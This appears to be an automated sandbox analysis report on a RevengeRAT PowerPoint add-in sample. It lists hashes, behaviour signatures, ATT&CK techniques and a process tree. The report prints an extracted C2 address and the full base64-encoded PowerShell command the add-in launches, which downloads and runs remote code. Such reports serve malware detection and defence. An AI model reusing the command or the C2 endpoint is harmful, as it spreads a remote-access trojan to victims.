revengerat | c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390

Analysis

max time kernel
127s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 10:52

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General

Target

c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390.ppam
Size

32KB
MD5

7314737e8dfca524250fcd6508f11d17
SHA1

2d3156b0c3b5f3944abe6c86e7096e07ca53e052
SHA256

c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390
SHA512

72f565623e7890bc5ce6efb3adb217d1602f485c327ca3b2a4e51f48709affa2a0190837031d48f1e4dc16a7ed78029f81b6f092dbc86cff1c675bf66e1c3e72
SSDEEP

768:VP5E4C674aDfgF+So703s1fhrI4dxDpe287hjMWHxN21ah5kZEeW:Vm4B8argYg6rI4dZE3KWn21Q5yEeW

Score

10^/10

revengerat nyancatrevenge discovery trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3916	4428	powershell.exe	90

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
58	3916	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3916 set thread context of 2960	3916	powershell.exe	112

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	RegSvcs.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4428	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3916	powershell.exe
3916	powershell.exe
3916	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3916	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4428	POWERPNT.EXE
4428	POWERPNT.EXE
4428	POWERPNT.EXE
4428	POWERPNT.EXE

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4428 wrote to memory of 3916	4428	POWERPNT.EXE	109
PID 4428 wrote to memory of 3916	4428	POWERPNT.EXE	109
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112
PID 3916 wrote to memory of 2960	3916	powershell.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\c821cfc5e83b96365f4384312fa29e7407a42fb97871e8f1f23ab4a698c1b390.ppam" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    PID:2960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4508,i,16315016104747277319,5510969007830467313,262144 --variations-seed-version --mojo-platform-channel-handle=4116 /prefetch:8
1⤵
PID:5048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hc2cjosd.fdu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2960-93-0x00000000050B0000-0x0000000005116000-memory.dmp

Filesize
408KB

Download
memory/2960-92-0x0000000005720000-0x00000000057BC000-memory.dmp

Filesize
624KB

Download
memory/2960-90-0x0000000005170000-0x0000000005714000-memory.dmp

Filesize
5.6MB

Download
memory/2960-89-0x0000000000590000-0x000000000059A000-memory.dmp

Filesize
40KB

Download
memory/3916-76-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-64-0x00000205999E0000-0x0000020599A02000-memory.dmp

Filesize
136KB

Download
memory/3916-78-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-80-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-82-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-84-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-86-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/3916-74-0x00000205B2050000-0x00000205B2070000-memory.dmp

Filesize
128KB

Download
memory/3916-75-0x00000205B2050000-0x00000205B2068000-memory.dmp

Filesize
96KB

Download
memory/4428-10-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-7-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-55-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-56-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-60-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-61-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-24-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-23-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-12-0x00007FF923C00000-0x00007FF923C10000-memory.dmp

Filesize
64KB

Download
memory/4428-9-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-11-0x00007FF923C00000-0x00007FF923C10000-memory.dmp

Filesize
64KB

Download
memory/4428-3-0x00007FF965FCD000-0x00007FF965FCE000-memory.dmp

Filesize
4KB

Download
memory/4428-8-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-47-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-6-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-4-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download
memory/4428-5-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-0-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-1-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-2-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-101-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-100-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-103-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-102-0x00007FF925FB0000-0x00007FF925FC0000-memory.dmp

Filesize
64KB

Download
memory/4428-104-0x00007FF965F30000-0x00007FF966125000-memory.dmp

Filesize
2.0MB

Download